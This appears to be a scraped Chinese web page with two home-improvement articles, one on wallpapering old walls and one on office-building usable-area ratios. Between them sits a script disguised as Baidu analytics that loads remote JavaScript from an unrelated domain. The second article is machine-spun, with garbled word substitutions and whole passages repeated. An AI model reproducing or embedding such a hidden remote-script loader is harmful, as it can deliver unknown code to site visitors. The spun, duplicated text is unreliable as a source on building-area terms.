旧房翻新直接贴壁纸好吗 如何挑选壁纸

​贴壁纸好吗?房子住的久了，想重新装修下花费又太高，如果房子的原本装修保留的还比较完好，最简单的改变房屋装修的方式就是贴壁纸了。但是如果房屋墙面老化严重，直接贴壁纸是拯救不了墙面的，下面给大家介绍下直接贴壁纸好吗这个问题以及如何挑选壁纸。直接贴壁纸好吗？在旧房翻新前，首先需要了解并确认墙面的状况，墙面整体平整，没有脱落、起皮和开裂现象的话，是可以直接贴壁纸的。相对于刷乳胶漆，还需要铲掉原有的墙面，贴壁纸比较简单。经常有人会问，直接贴壁纸好吗?之前的墙面漆怎么处理?其实在贴之前，是需要在墙面上刷好壁纸专用基膜的，然后才会正式贴壁纸了，可以加强壁纸的粘合性。但是如果墙面的状况已经不好，出现了脱落、发霉和开裂等状况，是不能直接贴壁纸的，需要对墙面基层重新处理，大多数用的方法就是是将所有墙皮铲除掉。还有一种情况是，原来的墙面上已经贴了壁纸，那么需要将壁纸撕掉，在撕掉后检查墙面是否完好，如果脱粉严重，也是需要重新处理墙面的。贴壁纸好吗?通过上面的介绍应该已经大概了解，根据墙面的状况来选择是直接贴壁纸还是重新做基层处理，千万不要有侥幸心理，谁也不想天天看着翘边、凹凸不平的墙面吧!关于贴壁纸好吗这个问题就介绍到这里了。贴壁纸好吗？如何挑选好的壁纸？壁纸已经进入装修市场很久了，产品种类、样式繁多，在挑选时，总是会遇到各式各样的问题，每个商家都说自家的产品好，但是每家店少说也有几十种甚至上百种壁纸，那么应该如何挑选呢?首先确定好要买什么风格的壁纸，缩小挑选范围。然后通过查看壁纸的外观，图案是否清晰、质感如何，同时如果有刺鼻性的气味，是一定不能在挑选范围的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

办公楼得房率问题 得房率越高越好吗

我们在日常生活中，经常会遇到由于公摊较大，而导致得房率不是很高的问题，今天小编就针对常见的“如何计算办公楼得房率”为大家做个介绍，以方便大家对得房率的了解，在生活中也可以有个参考，一般办公室得房率的影响因素是什么，要如何计算呢?下面一起来看看吧!一、得房率是什么得房率：是指可供住户支配的面积(也就是套内建筑面积)与每户建筑面积(也就是销售面积)之比。得房率的计算方法：套内建筑面积=套内使用面积+套内墙体面积+阳台面积销售面积(也称套型建筑面积)=套内建筑面积+分摊的公用建筑面积(俗说“公摊面积”)。得房率是买房比较重要的一个指标。计算房屋面积时，计算的是建筑面积，所以得房率太低，不实惠;太高，不方便。因为得房率越高，公共部分的面积就越少，住户也会感到压抑。一般，得房率在80%左右比较合适，公共部分既宽敞气派，分摊的面积也不会太多，比较实惠。一般多层的建筑物得房率为88%，高层的建筑物得房率为72%，而办公楼为55%。二、办公楼得房率的影响要素公摊面积包含两有些，其一是电梯井、楼梯间、垃圾道、变电室以及其他功能上为整栋修建效劳的共用用房和办理用房修建面积。其二是套(单元)与共用修建空间之间的分隔墙以及外墙(包含山墙)墙体水平投影面积的一半。详细说来首要体现在几个方面：①、房型构造(几梯几户)。例如一梯多户可能与一梯二户需求分摊的共用面积相差无几，可户数增加了，总套内修建面积增加了，则每户需求分摊的共用面积就会减小。②、楼盘形状。通常来说高层得房率最低，小高层次之，多层则得房率较高。③、物业类型。通常来说板式得房率最高，叠式次之，点式则较低。④、公共活动区域巨细。通常来说，高品质的物业多建有高挑大堂，宽阔电梯、室内车库，这些都会占用到很多公摊面积，故得房率相对较低。⑤、何种面积不当作公摊面积?车库、会所等具备独立运用功能的空间;售楼单位自营、自用的房子;为多栋房子效劳的警卫室、办理用房、设备房等。三、办公楼得房率越高越好吗写字楼的得房率问题，主要牵涉到几个方面：如果写字楼下面几层是商场，将造成上部写字楼的公摊面积加大，得房率下降;写字楼标准层面积不同，得房率也不同，越高得房率越小;写字楼的档次不同，反映出来的得房率也不尽相同。举个例子：青年路招银大厦，每层约800平米左右，有6部电梯且电梯厅净宽3.3米以上;而中南路口某银行大厦，每层也是800平米左右，却只有4部电梯，电梯厅净宽也不到2.8米。这种情况下前者的得房率肯定要比后者低。总体来说，在满足使用功能、保证形象档次的前提下，写字楼的得房率还是越高越好的。四、办公楼得房率如何计算阳台面积出售面积(也称套型修建面积)=套内修建面积+分摊的共用修建面积(俗说“公摊面积”)。得房率是买房对比重要的一个目标。核算房子面积时，核算的是修建面积，所以得房率太低，不实惠;太高，不方便。因为得房率越高，公共有些的面积就越少，住户也会感到压抑。通常，得房率在80%左右对比合适，公共有些既宽阔气度，分摊的面积也不会太多，对比实惠。通常多层的修建物得房率为88%，高层的修建物得房率为72%，而办公楼为55%。楼梯间、垃圾道、变电室以及其他功能上为整栋修建效劳的共用用房和办理用房修建面积。其二是套(单元)与共用修建空间之间的分隔墙以及外墙(包含山墙)墙体水平投影面积的一半。详细说来首要体现在几个方面：①、房型构造(几梯几户)。例如一梯多户可能与一梯二户需求分摊的共用面积相差无几，可户数增加了，总套内修建面积增加了，则每户需求分摊的共用面积就会减小。②、楼盘形状。通常来说高层得房率最低，小高层次之，多层则得房率较高。③、物业类型。通常来说板式得房率最高，叠式次之，点式则较低。④、公共活动区域巨细。通常来说，高品质的物业多建有高挑大堂，宽阔电梯、室内车库，这些都会占用到很多公摊面积，故得房率相对较低。⑤、何种面积不当作公摊面积?车库、会所等具备独立运用功能的空间;售楼单位自营、自用的房子;为多栋房子效劳的警卫室、办理用房、设备房等。看了以上内容，大家是否已经对办公楼得房率的相关问题都有了一定的了解了呢?办公楼得房率是越高越好，而且有了高得房率，还要兼顾到使用效率。在保证满足使用功能和法律法规的前提下，尽量节省公共交通空间。今天关于公楼得房率的的内容就到这里了，如果本文对你有帮助，就赶紧收藏起来吧!